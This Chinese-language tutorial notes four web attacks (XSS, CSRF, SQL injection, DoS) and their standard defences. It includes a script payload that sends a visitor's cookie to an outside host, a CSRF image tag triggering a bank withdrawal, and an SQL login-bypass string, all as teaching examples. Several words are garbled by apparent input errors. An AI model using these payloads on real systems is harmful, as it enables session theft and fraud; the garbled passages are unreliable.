一、跨站脚本攻击
可以将代码注入到用户浏览的网页上,这种代码包括HTML和javaScript
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后该内容可能会被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一个用户浏览含有这个内容的页面将会跳转到domain.com并携带当前作用域的cookie,如果这个论坛网站通过cookie管理用户登录状态,那么公交站就可以通过这个cookie登录被攻击者的账号了。
危害
- 窃取用户cookie
- 伪造虚假的输入表单骗取个人信息
- 显示伪造的文章或者图片
防范手段
1、设置cookie为httpOnly
设置了httpOnly的cookie可以防止JavaScript脚本调用,就无法通过document.cookie获取用户cookie信息了
2、特殊字符过滤
例如 将“<”转义为<,将”>“转义为>,从而避免html和javascript代码的运行
富文本编辑器允许用户输入html代码,不能简单进行字符转义,通常采用XSS filter来防范XSS攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的html代码的输入
二、跨站请求伪造
跨站请求伪造是公交站通过一些技术收到欺骗用户的浏览器去访问一个字节曾经认证过的网站并执行一些操作(如发送邮件、发消息、甚至财产操作)。由于浏览器曾经认证过,所以被访问的网站会任务是政治的用户操作而去执行。
XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户浏览器的信任。
攻击原理
例如已经音乐执行转账操作的url如下
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么一个恶意攻击者可以在另一个网站上放置如下代码
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
如果账户名为Alice的用户访问了恶意站点,而他之前刚访问过银行不久,登录信息尚未过期,那么他就会损失1000。
这种恶意的网站可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
防范手段
1、检查Referer首部字段
Referer首部字段位于http报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止CSRF攻击。
这种办法简单易行,工作量低,仅需要在管家访问处增加一步校验。但这种办法有局限性,因为其完全依赖浏览器发送正确的Referer字段。虽然HTTP谢谢对此字段的内容有明确规定,但并无法保证来访的浏览器的具体实现,已无法保证浏览器没有安安漏洞影响到此字段,并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
2、添加校验Token
在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者也无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端回传这个随机数。
3、输入验证码
因为CSRF攻击是在用户无意识下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
三、SQL注入攻击
服务器上的数据运行非法的sql语句,主要是通过拼接来完成。
例如一个网站登录验证的sql查询代码为
SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');
如果填入以下内容
:::info
userName= “1’ or ‘1’=’1”;
passWord=”1’ or ‘1’=’1”;
:::
那么sql查询字符串为
SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');
此时无线验证通过就能执行以下查询
防范手段
1、使用参数化查询
java中的PreparedStatement是预先编译的sql语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止sql注入的发生。
2、单引号转换
将传入的参数中的单引号转换为连续两个单引号
四、拒绝服务攻击
拒绝服务攻击(DoS),亦称洪水攻击,其目的在于使目标电脑的网络或者系统资源耗尽,使服务中断,导致其他用户无法访问。
分布式拒绝服务攻击(DDos)攻击者使用两个或以上被攻陷的电脑作为僵尸向特定的目标发动拒绝服务攻击。